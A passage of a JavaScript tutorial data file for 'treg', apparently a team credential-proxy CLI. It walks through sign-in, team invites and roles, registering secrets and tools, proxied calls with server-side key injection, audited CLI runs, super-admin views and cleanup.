out: `76 matches for "backlinks for a domain" — showing 25\n\n ENDPOINT PLATFORM PROVIDER COST\n dataforseo.web.backlinks.summary web DataForSEO $0.024/call\n moz.links.summary web Moz $0.0025/call\n majestic.backlinks.list web Majestic $0.010/call\n …`,
|
||||
notice: "Several providers usually serve one capability at different prices. treg shows them side by side — <b>choosing is yours</b>; it does not silently pick or fail over for you." },
|
||||
|
||||
{ part: "Part 1 · The catalog (no key, no setup)", who: "tom", title: "Read the price before you spend",
|
||||
explain: "Every catalogued endpoint carries its price, its parameters and an example response. An agent is expected to read this and tell the human the cost <i>before</i> spending the team's balance.",
|
||||
cmd: `treg catalog get tikhub.tiktok.user.profile`,
|
||||
out: `tikhub.tiktok.user.profile\nPublic TikTok profile by username (uniqueId) or secUid\n\n provider TikHub (tikhub)\n call GET /api/v1/tiktok/web/fetch_user_profile\n cost $0.001/success\n charged on 2xx only\n verified 2026-07-28`,
|
||||
notice: "An endpoint treg has no published price for is <b>refused</b>, never served for free — you are told to connect your own key instead." },
|
||||
|
||||
{ part: "Part 1 · The catalog (no key, no setup)", who: "tom", title: "Call it — with no key anywhere",
|
||||
explain: "No account with TikHub, no signup, no key on the machine. treg holds the credential, injects it server-side, and bills the call to the team's prepaid balance. New verified accounts receive <b>$1.00 free once</b>, when creating an eligible team, which covers hundreds of calls at this price.",
|
||||
cmd: `treg call tikhub.tiktok.user.profile --query uniqueId=tiktok`,
|
||||
out: `{\n "user": {\n "uniqueId": "tiktok",\n "nickname": "TikTok",\n "followerCount": 82400000\n }\n}`,
|
||||
notice: "If your team already has its own key for that provider, it wins automatically — and those calls are never metered." },
|
||||
|
||||
{ part: "Part 1 · The catalog (no key, no setup)", who: "tom", title: "See exactly what it cost",
|
||||
explain: "The balance is an append-only ledger in integer micro-USD (a millionth of a dollar), so a call that costs a fraction of a cent is recorded exactly rather than rounded away. Out of balance is an HTTP <b>402</b> carrying the numbers an agent can act on.",
|
||||
cmd: `treg balance`,
|
||||
out: ` Balance $0.9990 (999000 micro-USD)\n\n RECENT\n settle -$0.0010 tikhub.tiktok.user.profile`,
|
||||
notice: "Only calls on treg's key cost balance. Your own keys, your own tools and vendor CLIs are all free of it." },
|
||||
|
||||
// ---- Part 2 - Tom founds Superdesign ---------------------------------
|
||||
{ part: "Part 2 · Tom founds Superdesign", who: "tom", title: "Tom signs in (the email door)",
|
||||
explain: "There is no <code>register</code>. Tom proves his email with a one-time code - and since it's his first time, that same act <b>creates</b> him plus a personal org (so there's never an empty state). The code is <b>emailed</b> to him; he checks his inbox and types it in.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg login --email tom@superdesign.dev`,
|
||||
out: `We sent a 6-digit code to tom@superdesign.dev.\nEnter code: 429641\n✓ Logged in as tom@superdesign.dev. Active org: tom-superdesign-dev`,
|
||||
notice: "Check your inbox for the 6-digit code, then enter it. Tom now holds an <b>identity token</b> that works across every org he joins. <span class=\"muted\">(A dev box can set <code>TREG_EMAIL_DEV_MODE=true</code> to print the code inline instead.)</span>" },
|
||||
|
||||
{ part: "Part 2 · Tom founds Superdesign", who: "tom", title: "Tom creates the team",
|
||||
explain: "His personal org is just his own. Now he spins up the shared team and becomes its <b>owner</b>; his active org switches to it, so everything after runs there.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org create "Superdesign"`,
|
||||
out: `{\n "org": "superdesign",\n "org_id": 2,\n "name": "Superdesign",\n "role": "owner",\n "token": "<per-org token - agents/CI; a human doesn't need it>"\n}`,
|
||||
notice: "Personal orgs are auto-made on sign-in; <b>teams are created explicitly</b> with <code>org create</code>." },
|
||||
|
||||
// ---- Part 2 - Bob joins via the email door ---------------------------
|
||||
{ part: "Part 3 · Bob joins (email door)", who: "tom", title: "Tom invites Bob",
|
||||
explain: "Tom invites a teammate by <b>email</b>. The invite attaches to that email and Tom gets a one-time code he <i>could</i> hand over - but Bob won't even need it.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org invite bob@superdesign.dev --role member`,
|
||||
out: `{\n "code": "<one-time-invite-code>",\n "email": "bob@superdesign.dev",\n "role": "member",\n "org_id": 2,\n "expires_at": "2026-07-09T…"\n}`,
|
||||
notice: "The invite is pending, addressed to Bob's email, valid 7 days (<code>--expires-days</code> to change)." },
|
||||
|
||||
{ part: "Part 3 · Bob joins (email door)", who: "bob", title: "Bob signs in as himself",
|
||||
explain: "Switch to Bob. He proves his email the same way - and since it's his first time, this <b>creates</b> him too, with his own identity token and personal org. He never touches the invite code.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg login --email bob@superdesign.dev`,
|
||||
out: `We sent a 6-digit code to bob@superdesign.dev.\nEnter code: 512740\n✓ Logged in as bob@superdesign.dev. Active org: bob-superdesign-dev`,
|
||||
notice: "Same door as Tom: the code lands in Bob's inbox, he enters it. The email is the identity - the door (GitHub / code) is just how you prove it." },
|
||||
|
||||
{ part: "Part 3 · Bob joins (email door)", who: "bob", title: "Bob sees his invite - no code",
|
||||
explain: "Because the invite is tied to Bob's now-proven email, he can just ask what's waiting for him. This is the full circle: proving the email reveals every invite addressed to it.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg invites`,
|
||||
out: `[\n {\n "id": 1,\n "org": "superdesign",\n "org_id": 2,\n "name": "Superdesign",\n "role": "member",\n "invited_by": "tom@superdesign.dev",\n "expires_at": "2026-07-09T…"\n }\n]`,
|
||||
notice: "No code, no copy-paste from Tom - the proven email is the proof." },
|
||||
|
||||
{ part: "Part 3 · Bob joins (email door)", who: "bob", title: "Bob accepts",
|
||||
explain: "Bob joins Superdesign by naming the org. No code - his proven identity is the proof. His active org switches to Superdesign.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg accept superdesign`,
|
||||
out: `{\n "org": "superdesign",\n "org_id": 2,\n "name": "Superdesign",\n "role": "member"\n}`,
|
||||
notice: "Bob is now a <b>member</b> of Superdesign." },
|
||||
|
||||
{ part: "Part 3 · Bob joins (email door)", who: "bob", title: "Bob's two hats",
|
||||
explain: "One identity, two memberships - owner of his personal org, member of Superdesign. The same identity token works in both.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg org ls`,
|
||||
out: ` bob-superdesign-dev bob@superdesign.dev owner\n* superdesign Superdesign member (active)`,
|
||||
notice: "The <code>*</code> marks the active org. Switch anytime with <code>treg org use <slug></code>." },
|
||||
|
||||
// ---- Part 3 - Alice joins via the code door --------------------------
|
||||
{ part: "Part 4 · Alice joins (code door)", who: "tom", title: "Tom invites Alice as a viewer",
|
||||
explain: "The other door: the <b>code</b>. First Tom invites Alice as a <b>viewer</b> - she'll be able to read and call, but not register anything.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org invite alice@superdesign.dev --role viewer`,
|
||||
out: `{\n "code": "ZTeW5ss-cXiyvzeMs3em-…",\n "email": "alice@superdesign.dev",\n "role": "viewer",\n "org_id": 2,\n "expires_at": "2026-07-09T…"\n}`,
|
||||
notice: "This time we <b>keep the code</b> - Alice uses it directly next." },
|
||||
|
||||
{ part: "Part 4 · Alice joins (code door)", who: "alice", title: "Alice joins by code (no login first)",
|
||||
explain: "The contrast with Bob: Alice <b>never runs</b> <code>login</code>. The code itself proves her email, so <code>join</code> creates her, adds her to Superdesign, and saves her token - all in one command.",
|
||||
cmd: `HOME=~/.treg-personas/alice treg org join ZTeW5ss-cXiyvzeMs3em-… --email alice@superdesign.dev`,
|
||||
out: `{\n "org": "superdesign", "org_id": 2, "name": "Superdesign", "role": "viewer",\n "token": "<alice's superdesign token>",\n "personal": { "org": "alice-superdesign-dev", "org_id": 4, "role": "owner",\n "token": "<alice's personal token>" }\n}`,
|
||||
notice: "One command created Alice, gave her a personal org, and made her a viewer - Tom never handled her token." },
|
||||
|
||||
{ part: "Part 4 · Alice joins (code door)", who: "alice", title: "The viewer role has teeth",
|
||||
explain: "Alice can read and call, but a viewer <b>cannot register</b> anything. Watch her get stopped.",
|
||||
cmd: `HOME=~/.treg-personas/alice treg secret add testkey --value "nope"`,
|
||||
out: `{\n "detail": "viewers can call and read, but cannot register"\n}`,
|
||||
notice: "Alice was granted <i>use</i>, not <i>write</i> - the role gate doing its job." },
|
||||
|
||||
// ---- Part 4 - A tool through the proxy -------------------------------
|
||||
{ part: "Part 5 · A tool through the proxy", who: "bob", title: "Bob registers a secret",
|
||||
explain: "Unlike Alice, a <b>member</b> can register. Bob adds an API key - encrypted server-side, its value never returned again.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg secret add echo-key --value "sk-demo-secret-123"`,
|
||||
out: `{\n "id": 1,\n "name": "echo-key",\n "kind": "env",\n "owner": "bob@superdesign.dev",\n "bundle_id": null\n}`,
|
||||
notice: "The secret is org-scoped (lives in Superdesign) and owned by Bob. A tool binds to it by <code>id</code>." },
|
||||
|
||||
{ part: "Part 5 · A tool through the proxy", who: "bob", title: "Bob registers a tool",
|
||||
explain: "A tool = an upstream <code>base_url</code> + how to inject the credential. We point at postman-echo so we can <i>see</i> the injection. A single <code>--secret</code> defaults to a <code>Bearer</code> token in the <code>Authorization</code> header.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg tool add echo --base-url https://postman-echo.com --secret 1`,
|
||||
out: `{\n "id": 1, "name": "echo", "owner": "bob@superdesign.dev",\n "base_url": "https://postman-echo.com", "host": "postman-echo.com",\n "bindings": [\n { "secret_id": 1, "injector": "env", "location": "header",\n "name": "Authorization", "format": "Bearer {secret}", "secret_field": "access_token" }\n ]\n}`,
|
||||
notice: "For multi-credential upstreams, add more bindings with <code>--bind</code> - treg applies every binding on each call." },
|
||||
|
||||
{ part: "Part 5 · A tool through the proxy", who: "alice", title: "Alice calls it - with no key",
|
||||
explain: "The whole point of treg. Alice is a <b>viewer</b> with <b>no secret</b> on her machine. Yet when she calls, the upstream sees Bob's key, injected server-side.",
|
||||
cmd: `HOME=~/.treg-personas/alice treg call echo /get`,
|
||||
out: `{\n "args": {},\n "headers": {\n "host": "postman-echo.com",\n "authorization": "Bearer sk-demo-secret-123",\n …\n },\n "url": "https://postman-echo.com/get"\n}`,
|
||||
notice: "<code>authorization: Bearer sk-demo-secret-123</code> - Bob's secret, which Alice never had, saw, or stored." },
|
||||
|
||||
{ part: "Part 5 · A tool through the proxy", who: "tom", title: "Every call is on the record",
|
||||
explain: "The proxy writes an audit row per call. The owner reviews the org's activity.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg calls --limit 5`,
|
||||
out: `[\n {\n "id": 1,\n "user_email": "alice@superdesign.dev",\n "tool_name": "echo",\n "method": "GET",\n "path": "https://postman-echo.com/get",\n "status_code": 200,\n "created_at": "2026-07-02T…"\n }\n]`,
|
||||
notice: "Even though Alice used Bob's secret, the ledger records <b>who</b> actually made the call." },
|
||||
|
||||
// ---- Part 5 - Call shapes & skills -----------------------------------
|
||||
{ part: "Part 6 · Call shapes & skills", who: "alice", title: "Call by full URL (agent-native)",
|
||||
explain: "An agent often already knows the real upstream URL. Instead of <code>call <tool> <path></code>, hand treg the <b>whole URL</b> - it matches the host to a registered tool and injects the key. No treg-specific knowledge needed.",
|
||||
cmd: `HOME=~/.treg-personas/alice treg call https://postman-echo.com/get`,
|
||||
out: `# same echo response, with "authorization": "Bearer sk-demo-secret-123" injected.\n# note: no tool name in the command - just the destination URL.`,
|
||||
notice: "treg resolves the tool by <b>host</b>, so the agent-native full-URL form just works." },
|
||||
|
||||
{ part: "Part 6 · Call shapes & skills", who: "alice", title: "The raw HTTP underneath",
|
||||
explain: "<code>treg call</code> is sugar. Under the hood it's a plain HTTP request to <code><proxy>/call/<upstream-url></code> with your token header - any language, any agent, <code>curl</code>.",
|
||||
cmd: `ATOK=$(python3 -c "import json;print(json.load(open('/Users/you/.treg-personas/alice/.treg/config.json'))['token'])")\ncurl -s -H "X-Treg-Token: $ATOK" \\\n "https://treg.to/call/https://postman-echo.com/get"`,
|
||||
out: `# the postman-echo JSON again, "authorization": "Bearer sk-demo-secret-123" injected -\n# just curl, no secret on the client.`,
|
||||
notice: "The whole product in one line: prefix any upstream URL with the proxy, send your token, treg swaps in the real credential." },
|
||||
|
||||
{ part: "Part 6 · Call shapes & skills", who: "bob", title: "Draft a skill's registration",
|
||||
explain: "A whole skill folder (a recipe + credential files) can register in one shot via a <code>treg.json</code> contract. <code>skill init</code> scans <code>SKILL.md</code> + the <code>.secret/</code> dir and drafts it - guessing the base URL and finding the secret. No values go in the file, only references.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg skill init --dir /tmp/skills/echo-svc`,
|
||||
out: `wrote /tmp/skills/echo-svc/treg.json\n auto: base_url=https://postman-echo.com | secrets=['echo-svc']\n review / fill:\n - base_url - heuristic guess, verify\n - health / examples - optional`,
|
||||
notice: "It read the recipe and correctly guessed <code>base_url</code> + found the secret - fix anything it flagged, then register." },
|
||||
|
||||
{ part: "Part 6 · Call shapes & skills", who: "bob", title: "Upload the whole skill",
|
||||
explain: "One command turns the folder into a live tool: the recipe, the secret (value loaded from <code>.secret/</code>, never the json), and the tool - all created atomically as a <b>bundle</b>.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg skill add --dir /tmp/skills/echo-svc`,
|
||||
out: `{\n "id": 1, "name": "echo-svc", "owner": "bob@superdesign.dev",\n "recipe": "# echo-svc\\n…the SKILL.md…",\n "tools": [{ "id": 2, "name": "echo-svc", "base_url": "https://postman-echo.com", "bundle_id": 1 }],\n "secrets": [{ "id": 2, "name": "echo-svc", "kind": "env", "bundle_id": 1 }]\n}`,
|
||||
notice: "Everything shares a <code>bundle_id</code>, so a skill deletes as one unit too." },
|
||||
|
||||
// ---- Part 5b - Import: the magic bulk on-ramp ------------------------
|
||||
{ part: "Part 6b · Import - the magic bulk on-ramp", who: "bob", title: "Turn your whole .env into tools",
|
||||
explain: "The steps above, but for your <i>entire</i> environment at once. <code>treg upload env</code> reads your <code>.env</code>, matches each variable against a catalog of ~80 providers (OpenAI, Stripe, Resend, Render…), and registers the ones you pick as ready-to-call tools. It reads <b>names only</b> to detect - the value is loaded just for the keys you confirm. Config vars (<code>*_HOST</code>, <code>*_MODEL</code>) and your app's own secrets (<code>SECRET_KEY</code>, <code>DATABASE_URL</code>) are excluded automatically.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg upload env --select openai,stripe,resend`,
|
||||
out: `Scanned .env: 6 key(s) to register, 1 OAuth, 4 other.\n ✓ openai https://api.openai.com/v1 [Authorization: Bearer {secret}]\n ✓ stripe https://api.stripe.com/v1 [Authorization: Bearer {secret}]\n ✓ resend https://api.resend.com [Authorization: Bearer {secret}]\n\nRegistered 3/3 tools.`,
|
||||
notice: "One command, three live proxied tools. GitHub-style <code>CLIENT_ID</code>+<code>CLIENT_SECRET</code> pairs are detected as OAuth and offered a guided connect instead of a broken bearer key." },
|
||||
|
||||
{ part: "Part 6b · Import - the magic bulk on-ramp", who: "bob", title: "Import a whole folder of skills",
|
||||
explain: "Point <code>treg upload skills</code> at a directory of skills. For each, it uses an existing <code>treg.json</code>, or <b>builds one</b> from the skill's script (base URL + which env var it reads) - registering API skills as tools and knowledge skills as recipe-only bundles, so the <i>whole team library</i> lands in the registry in one pass. Re-run any time; it skips what's already there (or <code>--replace</code> to update).",
|
||||
cmd: `HOME=~/.treg-personas/bob treg upload skills --dir ~/.claude/skills --all`,
|
||||
out: `Scanned ~/.claude/skills: 5 API-tool skill(s), 23 recipe-only.\n ✓ render (tool) [wrote treg.json]\n ✓ intercom (tool)\n ✓ seo-blog-writer (recipe)\n … \nImported 27/28 skills.`,
|
||||
notice: "A teammate then pulls any of them with <code>treg skill install <name></code> - the shared library, installable in one command. Bare <code>treg upload</code> does both env + skills for the current dir." },
|
||||
|
||||
// ---- Part 5c - Run a vendor CLI --------------------------------------
|
||||
{ part: "Part 6c · Run a CLI tool", who: "tom", title: "Turn on `run` for a CLI tool",
|
||||
explain: "Every tool so far was an HTTP <b>API</b> you <code>call</code>. Many providers also ship a <b>command-line tool</b> (stripe, gh, gcloud…). <code>treg run</code> executes that CLI with the org's credential injected - so a teammate uses it <i>without</i> owning the key or logging in. Because a run hands the credential to a machine, the owner opts each tool in first (the dashboard's <b>⌘ run</b> toggle is the same switch). Here Tom enables it for the <code>stripe</code> tool (its id from <code>tool ls</code>).",
|
||||
cmd: `HOME=~/.treg-personas/tom treg tool update 4 --local-run on`,
|
||||
out: `{\n "id": 4, "name": "stripe",\n "base_url": "https://api.stripe.com/v1",\n "cli": { "enabled": true }\n}`,
|
||||
notice: "Off by default - a run is more powerful than a proxied call, so it's opt-in per tool, and only an owner/admin can flip it." },
|
||||
|
||||
{ part: "Part 6c · Run a CLI tool", who: "bob", title: "Run the vendor CLI - no login, nothing on disk",
|
||||
explain: "Now Bob runs Stripe's real CLI <i>through</i> treg. Everything after <code>--</code> is handed to the vendor tool verbatim. treg injects the credential just for this run; Bob never logged into Stripe or stored its key. The default tier is <code>--local</code> - it runs on Bob's own machine, and on Linux the key is isolated under a dedicated <code>treg-run</code> user (installed once with <code>sudo treg setup-local-run</code>; on macOS it's best-effort). Add <code>--server</code> to run it on the registry instead, for a catalog-known CLI, so the key never reaches Bob's machine at all.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg run stripe -- get /v1/balance`,
|
||||
out: `{\n "object": "balance",\n "available": [{ "amount": 0, "currency": "usd" }],\n …\n}\n# Stripe's own CLI ran with the org key injected - Bob never logged in or held the key.`,
|
||||
notice: "<code>treg run <tool> -- <args></code> for a CLI; <code>treg call <tool> <path></code> for an HTTP API - same credential, two ways to use it." },
|
||||
|
||||
{ part: "Part 6c · Run a CLI tool", who: "tom", title: "Every run is on the record",
|
||||
explain: "Like proxied calls, CLI runs are audited. A <code>--server</code> run is recorded in the run ledger with its exit code and duration; a <code>--local</code> run leaves its audit trail beside the calls (<code>treg calls</code>). The owner reviews server runs with <code>treg runs</code>.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg runs --limit 5`,
|
||||
out: `[\n {\n "id": 1,\n "user_email": "bob@superdesign.dev",\n "bundle_name": "stripe",\n "argv": ["get", "/v1/balance"],\n "exit_code": 0,\n "duration_ms": 812,\n "created_at": "2026-07-02T…"\n }\n]`,
|
||||
notice: "The mnemonic: <code>treg call</code> → <code>treg calls</code>; <code>treg run</code> → <code>treg runs</code>. Two verbs, two ledgers." },
|
||||
|
||||
// ---- Part 6 - Org administration -------------------------------------
|
||||
{ part: "Part 7 · Org administration", who: "tom", title: "See the team",
|
||||
explain: "The owner lists everyone and their roles. Role changes reference a member by <code>user_id</code>.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org members`,
|
||||
out: `[\n { "user_id": 1, "email": "tom@superdesign.dev", "role": "owner" },\n { "user_id": 2, "email": "bob@superdesign.dev", "role": "member" },\n { "user_id": 3, "email": "alice@superdesign.dev", "role": "viewer" }\n]`,
|
||||
notice: "The full roster from one command." },
|
||||
|
||||
{ part: "Part 7 · Org administration", who: "tom", title: "Promote Bob to admin",
|
||||
explain: "Only an owner changes roles. Let's make Bob an <b>admin</b> - he can invite/manage, but transfer and delete stay owner-only. The last-owner guard stops an org from becoming ownerless.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org set-role 2 admin`,
|
||||
out: `{\n "user_id": 2,\n "role": "admin",\n "org_id": 2\n}`,
|
||||
notice: "One primitive (<code>set-role</code>) covers promotion, demotion, and ownership transfer." },
|
||||
|
||||
{ part: "Part 7 · Org administration", who: "bob", title: "Admin rights in action",
|
||||
explain: "As a plain member Bob couldn't invite; as an <b>admin</b> he can. He invites a new teammate.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg org invite dana@superdesign.dev --role member`,
|
||||
out: `{\n "code": "<one-time-code>",\n "email": "dana@superdesign.dev",\n "role": "member",\n "org_id": 2,\n "expires_at": "2026-07-09T…"\n}`,
|
||||
notice: "Bob manages the team without being the owner." },
|
||||
|
||||
{ part: "Part 7 · Org administration", who: "bob", title: "Review pending invites",
|
||||
explain: "Admins see every invite still outstanding for the org. Accepted, revoked, and expired ones are filtered out.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg org invites`,
|
||||
out: `[\n {\n "id": 3, "email": "dana@superdesign.dev", "role": "member",\n "invited_by": "bob@superdesign.dev", "expires_at": "2026-07-09T…"\n }\n]`,
|
||||
notice: "Only Dana shows - Bob's and Alice's invites are already accepted, so they're gone from the list." },
|
||||
|
||||
{ part: "Part 7 · Org administration", who: "bob", title: "Revoke an invite",
|
||||
explain: "Plans change - Bob kills Dana's invite before she uses it. This hard-deletes the code so it can never be accepted.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg org revoke 3`,
|
||||
out: `{\n "revoked_invite": 3\n}`,
|
||||
notice: "At join time: expired → <code>410</code>; revoked / used / unknown → <code>404 invalid or already-used invite</code>." },
|
||||
|
||||
{ part: "Part 7 · Org administration", who: "alice", title: "The role gate, from the viewer side",
|
||||
explain: "Alice is a viewer. She can call tools, but she can't invite - that needs admin+. She gets refused.",
|
||||
cmd: `HOME=~/.treg-personas/alice treg org invite eve@superdesign.dev --role member`,
|
||||
out: `{\n "detail": "admin role in this org is required"\n}`,
|
||||
notice: "Roles, cleanly enforced: <b>owner</b> > <b>admin</b> > <b>member</b> > <b>viewer</b>." },
|
||||
|
||||
// ---- Part 7 - Super-admin --------------------------------------------
|
||||
{ part: "Part 8 · Super-admin", who: "ops", title: "Become the platform operator",
|
||||
explain: "Super-admin sits <i>above</i> orgs - it reads and manages every tenant. Two ways to authorise: the platform bearer <code>TREG_ADMIN_TOKEN</code>, or a user flagged <code>is_superadmin</code>. We use the bearer, read from <code>.env</code> so it never appears on screen.",
|
||||
cmd: `treg admin login --token "$(grep -E '^TREG_ADMIN_TOKEN=' .env | cut -d= -f2-)"`,
|
||||
out: `admin token saved`,
|
||||
notice: "Gated by <code>require_superadmin</code>, separate from org roles: a normal token → 403, no token → 401." },
|
||||
|
||||
{ part: "Part 8 · Super-admin", who: "ops", title: "The whole platform at a glance",
|
||||
explain: "One call gives totals across every tenant - the picture no single org owner can see. Plus <code>admin orgs / users / tools / health</code> for cross-tenant inventory.",
|
||||
cmd: `treg admin stats`,
|
||||
out: `{\n "totals": { "users": 3, "orgs": 4, "tools": 2, "secrets": 2, "calls": 1 },\n …recent-activity + distributions…\n}`,
|
||||
notice: "Portal-ready JSON: distributions by injector/host, a credential-health rollup, call volume, and growth counts." },
|
||||
|
||||
{ part: "Part 8 · Super-admin", who: "ops", title: "Every org, across all tenants",
|
||||
explain: "Cross-tenant visibility: Superdesign with its members + tools, plus everyone's personal orgs.",
|
||||
cmd: `treg admin orgs`,
|
||||
out: `[\n { "id": 2, "slug": "superdesign", "name": "Superdesign", "members": 3, "tools": 2 },\n { "id": 1, "slug": "tom-superdesign-dev", "members": 1, "tools": 0 },\n { "id": 3, "slug": "bob-superdesign-dev", "members": 1, "tools": 0 },\n { "id": 4, "slug": "alice-superdesign-dev", "members": 1, "tools": 0 }\n]`,
|
||||
notice: "The seam a support console or billing portal sits on later - same JSON, just rendered." },
|
||||
|
||||
{ part: "Part 8 · Super-admin", who: "ops", title: "Grant a real user super-admin",
|
||||
explain: "The env bearer bootstraps; then you promote named users so they reach <code>/admin/*</code> with their own identity token - no shared secret to pass around.",
|
||||
cmd: `treg admin grant 1`,
|
||||
out: `{\n "user_id": 1,\n "is_superadmin": true\n}`,
|
||||
notice: "After the grant, Tom's normal identity token works on <code>admin</code> commands - and the dashboard's Admin panel lights up for him." },
|
||||
|
||||
// ---- Part 8 - The dashboard -----------------------------------------
|
||||
{ part: "Part 9 · The dashboard", who: "tom", title: "The same registry, in the browser",
|
||||
explain: "Open <b>treg.to</b> and sign in with the <b>email code</b> door (the same one you used in the terminal): type your email → click <b>Email me a sign-in code</b> → <b>check your inbox</b> for the 6-digit code → paste it in and <b>Sign in</b>. You land on your team org - Tools shows the <code>echo</code> tool, Activity shows the call, and (since Tom is now super-admin) an <b>Admin</b> panel appears.",
|
||||
cmd: `open https://treg.to/`,
|
||||
out: `# Sign in with email → land on Superdesign\n# Tools → the echo tool (Copy a snippet · Try it live)\n# Activity → Alice's GET echo · 200\n# Admin → cross-tenant stats + orgs (super-admin only)`,
|
||||
notice: "The dashboard now does it all in the browser - create teams, invite members, add secrets, register tools & skills, plus the super-admin surface - not just read + call." },
|
||||
|
||||
// ---- Part 9 - Cleanup ------------------------------------------------
|
||||
{ part: "Part 10 · Cleanup", who: "bob", title: "Delete the tool",
|
||||
explain: "Bob (its creator, and an admin) removes the tool. The bound secret stays - only the tool goes. A member can't delete a teammate's resource.",
|
||||
cmd: `HOME=~/.treg-personas/bob treg tool rm 1`,
|
||||
out: `{\n "deleted": 1\n}`,
|
||||
notice: "Delete order matters: remove the tool (or its binding) before the secret it uses." },
|
||||
|
||||
{ part: "Part 10 · Cleanup", who: "tom", title: "Delete the org (full cascade)",
|
||||
explain: "The finale. Deleting an org is owner-only and <b>confirm-by-name</b> - you must type the slug, and it must be your active org. The cascade removes all memberships, tools, secrets, bundles, invites, and audit rows.",
|
||||
cmd: `HOME=~/.treg-personas/tom treg org delete superdesign`,
|
||||
out: `{\n "deleted_org": 2\n}`,
|
||||
notice: "Bob and Alice keep their personal orgs - they were separate tenants all along. That's the full lifecycle: sign in → team → invite (both doors) → roles → tool → proxied call → audit → admin → tear down. 🏁" },
|
||||
|
||||
// ---- Further, focused tutorials --------------------------------------
|
||||
{ part: "Further tutorials", who: "sys", title: "Two deep-dive tutorials",
|
||||
explain: "Two features have their own step-by-step tutorials - <b>Import & shell</b> and <b>Team access control</b>. Both are cards on the Tutorial page (← Tutorials, top left), and both also exist as plain markdown.",
|
||||
cmd: `open https://treg.to/tutorial-import-shell.md # import + shell + the security sandbox\nopen https://treg.to/tutorial-access.md # per-member tool access control`,
|
||||
out: `# import-shell : treg upload clis (your machine's CLIs -> team tools) + treg shell (stripe/gh just work)\n# + the local-run sandbox (isolated user, egress allow-list, filesystem jail)\n# access : choose which tools each member may use + the local-run on/off toggle`,
|
||||
notice: "Pick them from the Tutorial page like this one, or open the markdown URLs directly (agent-friendly)." },
|
||||
];
|
||||
|
||||
// ---- Focused tutorial: Import & shell ----------------------------------
|
||||
// Prose twin: src/treg/web/tutorial-import-shell.md (served at /tutorial-import-shell.md).
|
||||
const IMPORT_SHELL = [
|
||||
{ part: "Part 1 · Auto-import", who: "you", title: "Preview what would be registered",
|
||||
explain: "You already have <code>gh</code>, <code>stripe</code>, <code>gcloud</code> … installed and logged in. <code>treg scan clis</code> reads your machine: for each CLI in treg's catalog it checks whether the program is installed, whether its API key is in your environment, and whether you are logged into the CLI itself. It writes <b>nothing</b> - it only reports.",
|
||||
cmd: `treg scan clis`,
|
||||
out: `Scanned 21 catalog CLIs — 9 installed here.\n\nWould register (server, key injected):\n openai\n stripe\nWould register (local, uses your login):\n doctl\n flyctl\n gcloud\n gh\n supabase\n vercel\nNot supported:\n az: az has no token-override env var (device/browser login only)\n\n12 more catalog CLIs aren't installed. List them with: treg scan clis --status`,
|
||||
notice: "Two tiers. <b>Server</b> (openai, stripe): the key is in your environment, so treg can hold it and inject it - the key never touches a member's machine. <b>Local</b> (gh, gcloud, …): you're logged into the CLI itself, so treg registers it with no secret and just runs the CLI you already authenticated." },
|
||||
|
||||
{ part: "Part 1 · Auto-import", who: "you", title: "Register them",
|
||||
explain: "Same scan, but it registers. <code>--replace</code> deletes-and-recreates anything already registered, so re-running is always safe.",
|
||||
cmd: `treg upload clis --replace`,
|
||||
out: `Scanned 21 catalog CLIs — 9 installed here.\n\nRegistered (server, key injected):\n openai\n stripe\nRegistered (local, uses your login):\n doctl\n flyctl\n gcloud\n gh\n supabase\n vercel`,
|
||||
notice: "The server-tier CLIs uploaded their key (encrypted) and are now bound tools; the local-tier CLIs registered <b>secret-less</b> - \"inject nothing, just run the program the member is logged into.\"" },
|
||||
|
||||
{ part: "Part 1 · Auto-import", who: "you", title: "Confirm a local-tier CLI runs",
|
||||
explain: "A local-tier tool needs no credential at all - treg runs the program you're already logged into, and records the run.",
|
||||
cmd: `treg run gh -- --version`,
|
||||
out: `▸ gh · audit #58\ngh version 2.72.0 (2025-04-30)\nhttps://github.com/cli/cli/releases/tag/v2.72.0`,
|
||||
notice: "The <code>▸ gh · audit #58</code> line (on standard error) shows treg wrapped and recorded the run; the rest is gh's own output." },
|
||||
|
||||
{ part: "Part 1 · Auto-import", who: "you", title: "See what's missing; add an off-catalog CLI",
|
||||
explain: "<code>--status</code> lists the catalog CLIs you do <b>not</b> have, with the install command for each. <code>--add BIN</code> registers an installed CLI that isn't in the catalog at all - it asks for the env var the CLI reads its key from and the API base URL.",
|
||||
cmd: `treg scan clis --status\ntreg upload clis --add mycli --env MYCLI_TOKEN --base-url https://api.mycli.com`,
|
||||
out: `In the catalog, not installed here:\n glab brew install glab\n render brew install render-oss/render/render\n neonctl npm i -g neonctl\n …`,
|
||||
notice: "<code>--add</code> also prints a catalog-entry snippet you can share. An off-catalog CLI isn't on the server's allow-list, so it runs <b>locally</b> until an admin allow-lists its program name." },
|
||||
|
||||
// ---- Shell mode --------------------------------------------------------
|
||||
{ part: "Part 2 · Shell mode", who: "you", title: "Start the shell",
|
||||
explain: "Typing <code>treg run</code> before every command is friction. <code>treg shell start</code> opens a subshell where every <b>registered</b> CLI runs with the team credential injected automatically - you just type <code>stripe</code>, <code>gh</code>, <code>gcloud</code> as normal.",
|
||||
cmd: `treg shell start`,
|
||||
out: `▚ treg shell — you're now in a shell where your team's CLIs just work.\n The tools below run with the team credential injected for you — no \`treg run\`,\n no keys on this machine, and every call is audited.\n\n Injected here (8): doctl flyctl gcloud gh openai stripe supabase vercel\n\n Leave any time with exit (or Ctrl-D) — your normal shell returns unchanged.\n\n(treg) $`,
|
||||
